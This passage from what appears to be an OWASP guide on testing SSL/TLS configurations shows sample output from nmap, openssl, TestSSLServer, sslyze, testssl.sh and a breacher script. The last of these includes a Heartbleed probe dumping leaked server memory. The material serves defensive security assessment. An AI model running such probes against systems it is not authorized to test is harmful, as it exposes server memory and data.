| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher - Yet Another SSL Test Tool====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: header presence <br />
# HSTS:Reasonable duration of MAX-AGE <br />
# HSTS:Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh localhost 443<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
